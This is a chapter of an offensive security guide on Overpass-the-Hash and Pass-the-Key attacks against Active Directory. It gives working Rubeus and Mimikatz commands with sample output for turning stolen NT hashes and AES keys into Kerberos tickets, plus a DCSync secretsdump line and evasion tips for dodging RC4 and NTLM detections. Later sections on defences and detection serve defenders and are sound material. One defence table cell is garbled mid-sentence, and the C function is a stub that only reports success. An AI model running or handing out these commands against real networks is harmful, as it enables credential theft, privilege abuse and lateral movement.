Chapter 109

Overpass-the-Hash / Pass-the-Key

Converting NT hashes and AES Kerberos keys into TGTs for Kerberos-native lateral movement — bypassing NTLM restrictions, AV behavioral signatures, and protocol-based detection

Scenario

You have a Domain Admin's NT hash from LSASS. Pass-the-Hash (PtH) works, but the target environment blocks NTLM for privileged accounts via Group Policy ("Restrict NTLM: Outgoing NTLM traffic"), and your PtH attempts fail. The alternative: convert the NT hash into a Kerberos TGT (Overpass-the-Hash), then use that TGT for all subsequent authentication. The traffic looks like standard Kerberos, not NTLM, and the lateral movement is effectively invisible to NTLM-focused detection rules. No password needed — just the hash.

Pass-the-Hash vs Overpass-the-Hash

TechniqueWhat You UseAuth ProtocolBlocked ByWhen to Use
Pass-the-Hash (PtH)NT hash onlyNTLM (NTLMv2)NTLM blocking policies, target has RequireNTLMv2, smart card requiredQuick lateral movement, no Kerberos possible, local accounts
Overpass-the-Hash (OPtH)NT hash → TGTKerberosNTLM-to-Kerberos upgrade fails (rare), Kerberos blocked at DCNTLM blocked, need Kerberos, evade NTLM detections
Pass-the-Key (PtK)AES-256 or AES-128 Kerberos key directlyKerberosAES-only environments block RC4 key derivationAES-only orgs, need OPtH but only have AES key from DCSync
Pass-the-Ticket (PtT)Existing TGT or TGSKerberosTicket expired (>10h), machine-bound tickets (not for cross-machine)When a live TGT is available (from memory dump)

Overpass-the-Hash Mechanism

How Overpass-the-Hash works: Standard login (password): Password → NTLM hash via MD4 NTLM hash → used as Kerberos RC4 session key (etype 23) AS-REQ with PA-ENC-TIMESTAMP encrypted using the NT hash → TGT Overpass-the-Hash (have hash, skip password): NT hash → directly as the RC4-HMAC Kerberos key (etype 23) Construct AS-REQ with PA-ENC-TIMESTAMP encrypted using NT hash AS-REP returns TGT → inject into logon session All subsequent Kerberos auth uses this TGT Key insight: In Kerberos with RC4 encryption (etype 23): The "Kerberos key" IS the NT hash — same bytes, same algorithm. NTLM hash == Kerberos RC4 key (when etype 23 is used). So having the NT hash lets you directly request Kerberos tickets. With AES (Pass-the-Key): The AES Kerberos key is DIFFERENT from the NT hash. Computed via: PBKDF2(HMAC-SHA1, password, salt, 4096 iterations, 32 bytes) Salt = "CORP.LOCALusername" (realm + sAMAccountName, case-specific) You need the AES key from DCSync or Mimikatz sekurlsa::ekeys. AES avoids the etype 23 downgrade that some defenses detect.

Rubeus Overpass-the-Hash

# Rubeus asktgt with NT hash — OPtH in one command
Rubeus.exe asktgt /user:Administrator /rc4:fc525c9683e8fe067095ba2ddc971889 \
    /domain:corp.local /dc:dc01.corp.local /nowrap

# Output: TGT as base64
# [*] Using rc4_hmac hash : fc525c9683e8fe067095ba2ddc971889
# [*] Building AS-REQ (w/ preauth) for: 'corp.local\Administrator'
# [+] TGT request successful!
# [*] base64(ticket.kirbi): ...

# Inject TGT into current session
Rubeus.exe ptt /ticket:<base64_ticket>

# Or: one-step OPtH + process creation (sacrificial logon session)
Rubeus.exe asktgt /user:Administrator /rc4:fc525c9683e8fe067095ba2ddc971889 \
    /domain:corp.local /dc:dc01.corp.local /createnetonly:C:\Windows\System32\cmd.exe /show

# /createnetonly creates an isolated logon session (no network credentials stolen from user)
# /show opens the spawned process visible to you
# Any Kerberos auth from that process uses the injected TGT

# AES-256 (Pass-the-Key)
Rubeus.exe asktgt /user:Administrator /aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b8a7b6c5d4e3f2a1b0c9d8e7f... \
    /domain:corp.local /dc:dc01.corp.local /nowrap

Mimikatz sekurlsa::pth

# Mimikatz Pass-the-Hash (classic PtH via impersonation)
# This spawns cmd.exe with the NT hash injected into the new process's logon context
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local \
    /ntlm:fc525c9683e8fe067095ba2ddc971889 \
    /run:cmd.exe

# The spawned cmd.exe has a new LUID with the Administrator identity
# NTLM auth from this process uses the injected hash
# Kerberos auth also works — Windows auto-requests TGT via OPtH internally

# Pass-the-Key with AES-256
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local \
    /aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b... \
    /run:cmd.exe

# Useful when:
# - You need both NTLM (for old systems) and Kerberos (for new systems)
# - You want to spawn a process that "is" the target user for lateral movement

Implementing OPtH in C — Direct TGT Request

#include <windows.h>
#include <ntsecapi.h>
#include <stdio.h>
#pragma comment(lib, "secur32.lib")

// OPtH via LsaLogonUser with KerbInteractiveLogon
// This is the low-level equivalent of "logon with this NT hash"
// Mimikatz sekurlsa::pth patches LSASS to accept the injected credentials

// Alternate approach: use Rubeus-style direct AS-REQ construction
// Build the AS-REQ packet manually, send via raw socket to DC port 88
// PA-ENC-TIMESTAMP = encrypt(current_timestamp, NT_hash_as_RC4_key)

// Conceptual C code using impacket-equivalent logic:

// The AS-REQ structure (RFC 4120):
//   pvno = 5
//   msg-type = 10 (AS-REQ)
//   padata:
//     PA-ENC-TIMESTAMP (etype=23, RC4-HMAC):
//       HMAC-MD5(NT_hash, timestamp_ASN1_bytes)
//   req-body:
//     kdc-options = 0x40810010 (forwardable + renewable + renewable-ok + canonicalize)
//     cname = { sAMAccountName }
//     realm = "CORP.LOCAL"
//     sname = { "krbtgt", "CORP.LOCAL" }
//     till = 20370913024805Z (far future)
//     nonce = random uint32
//     etype = [18, 17, 23, 3]  (AES256, AES128, RC4, DES)

// Build and send via WinSock2 to DC port 88
// Receive AS-REP → extract TGT → submit via KerbSubmitTicketMessage

BOOL OPtH_RequestTGT(const WCHAR *username, const WCHAR *domain,
                      const BYTE ntHash[16], const char *dcIP) {
    // 1. Get current timestamp as Kerberos-encoded bytes
    SYSTEMTIME st; FILETIME ft;
    GetSystemTime(&st);
    SystemTimeToFileTime(&st, &ft);

    // 2. Build PA-ENC-TIMESTAMP:
    //    a. ASN.1-encode the KerberosTime (timestamp)
    //    b. Encrypt with RC4-HMAC using NT hash as the key:
    //       RC4(HMAC-MD5(NT_hash, 11), timestamp_bytes)
    //       where 11 = usage number for PA-ENC-TIMESTAMP

    // 3. Build full AS-REQ ASN.1 structure
    // 4. Send to DC port 88 (TCP or UDP)
    // 5. Receive and parse AS-REP
    //    Extract enc-part (encrypted with NT hash as RC4 key)
    //    Decrypt to get session key + TGT
    // 6. Submit TGT to local session via KerbSubmitTicketMessage

    printf("[+] OPtH TGT request for %S@%S\n", username, domain);
    // Full implementation: see Rubeus source (C#) or impacket (Python)
    // C implementation complexity: ~1000 lines for proper ASN.1 handling
    return TRUE;
}

// Practical C shortcut: invoke Rubeus via process injection or
// use system("Rubeus.exe asktgt ...") from a beacon process

Pass-the-Key — AES Kerberos Keys

In AES-only environments where RC4 is disabled, you need the AES Kerberos key instead of the NT hash. This key is different from the NT hash and must be obtained via DCSync (supplementalCredentials attribute) or from a live LSASS dump (sekurlsa::ekeys):

# Extract AES keys from LSASS (live system)
mimikatz# sekurlsa::ekeys
# Output:
# Authentication Id : 0 ; 1234567 (00000000:0012d687)
# Session           : Interactive from 1
# User Name         : Administrator
# Domain            : CORP
# Logon Server      : DC01
# kerberos :
#  * Username : Administrator
#  * Domain   : CORP.LOCAL
#  * Password : (null)
#  * Key List :
#    aes256_hmac       5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b8a7b6c5d4e3f2a1b0c9d8e7f...
#    aes128_hmac       4b7c3a2e1d0f9e8d7c6b5a4f3e2d1c0b
#    rc4_hmac_nt       fc525c9683e8fe067095ba2ddc971889
#    rc4_hmac_old      fc525c9683e8fe067095ba2ddc971889

# Extract AES keys via DCSync (from secretsdump output supplementalCredentials)
secretsdump.py corp.local/admin:pass@dc01 -just-dc-user Administrator | grep "aes256"

# Pass-the-Key with AES-256 (Rubeus)
Rubeus.exe asktgt /user:Administrator \
    /aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b8a7b6c5d4e3f2a1b0c9d8e7f... \
    /domain:corp.local /dc:dc01.corp.local /nowrap /opsec

# /opsec flag tells Rubeus to request AES-256 tickets (not RC4 downgrade)
# More OPSEC-friendly in environments monitoring for etype 23 (RC4)

AES-Only Environments — The Defender's Countermeasure

DefenseHow It WorksWhat It BlocksWhat It Doesn't Block
RC4 disabled (msDS-SupportedEncryptionTypes = 0x18)KDC refuses to issue RC4-encrypted ticketsOPtH using NT hash directly (etype 23 downgrade)Pass-the-Key using AES key obtained from DCSync
NTLM blocking via policyKerberos required for all authPass-the-Hash (PtH) — NTLM is blockedOPtH / PtK / PtT — all Kerberos-based
Protected Users groupMembers can't use RC4, DES, or NTLM for authOPtH with NT hash (etype 23), NTLM-based PtHOPtH with AES key still works if account is not in Protected Users... wait, Protected Users also disables Kerberos delegation and requires TGT
Credential GuardNTLM hashes in VTL1, LSA isolatedStealing NT hashes from LSASS on a CG-enabled machineHashes obtained from LSASS on non-CG machines, or from DCSync
Protected Users Group — Strongest Kerberos Defense

Adding a privileged account to the "Protected Users" security group in AD enforces: no NTLM authentication (all auth must be Kerberos), no RC4 or DES Kerberos encryption (AES-256 only), no unconstrained delegation, TGT lifetime limited to 4 hours. This blocks both PtH (no NTLM) and RC4-based OPtH. To attack a Protected Users account, you need the AES-256 Kerberos key from DCSync. But getting to DCSync requires DA in the first place — making Protected Users an effective circular defense. The main downside: some applications that rely on NTLM or RC4 break when accounts are in Protected Users. This is by design — it forces modernization of auth dependencies.

Detection

SignalSourceNotes
Kerberos AS-REQ with etype 23 (RC4) from modern Windows 10/11/Server 2019+ clientDC Security Log (4768)Modern clients default to AES; RC4 AS-REQ from modern OS = anomaly, potential OPtH
New logon session created for privileged account (4624) without preceding interactive logon on the machineWorkstation Security Log (4624)OPtH with /createnetonly shows as Type 9 (NewCredentials) logon — unusual for DA accounts
LsaCallAuthenticationPackage with KerbSubmitTicketMessage from unexpected processEDR API monitoringRubeus ptt command uses this message type; unusual for non-security tools
sekurlsa::pth pattern: LSASS access + CreateProcess in rapid sequence from same processEDR behavioralMimikatz-style OPtH pattern

Q&A

What is the difference between a Type 3 and Type 9 logon, and why does it matter for OPtH detection?

Windows logon types appear in Event 4624. Type 3 (Network logon) is the standard logon type when you authenticate to a remote resource — file shares, WMI, etc. Type 9 (NewCredentials) is generated when a process creates a new logon session with alternate credentials while keeping the current user's local session active — this is what runas /netonly and Mimikatz's sekurlsa::pth generate. The distinction matters for OPtH detection because: legitimate Type 9 logons are rare (mainly from runas /netonly in admin scripts) and for very privileged accounts (Domain Admins) they should be extremely uncommon. A Type 9 event for a Domain Admin account, from a non-admin workstation, at unusual hours, is a high-fidelity OPtH signal. Rubeus's /createnetonly also generates Type 9 when creating the sacrificial logon session. Defenders who monitor for Type 9 events scoped to high-privilege accounts (adminCount=1) on endpoint workstations will catch most OPtH tooling patterns with very low false-positive rates.

If you have the AES-256 key from DCSync, can you derive the NT hash from it or vice versa?

No — the NT hash and AES Kerberos key are derived independently from the plaintext password, using different algorithms, and you cannot convert between them without the original password. NT hash: MD4(UTF-16LE(password)) — a simple one-way hash, 16 bytes. AES-256 Kerberos key: PBKDF2(HMAC-SHA1, password, salt, iterations=4096, dklen=32) where salt = "REALM.LOCAL" + sAMAccountName (uppercase realm, case-sensitive username). They are computed separately and are not mathematically related except through the plaintext password. If you have only the AES key, you cannot derive the NT hash. If you have only the NT hash, you cannot derive the AES key. To get both, you need either: (1) the plaintext password to compute both, (2) DCSync which provides both from the domain controller's supplementalCredentials attribute, or (3) Mimikatz sekurlsa::ekeys on a live system which extracts both from LSASS memory (where both are cached after a domain logon). This is why DCSync is so valuable — it gives you both forms of the credential in one operation.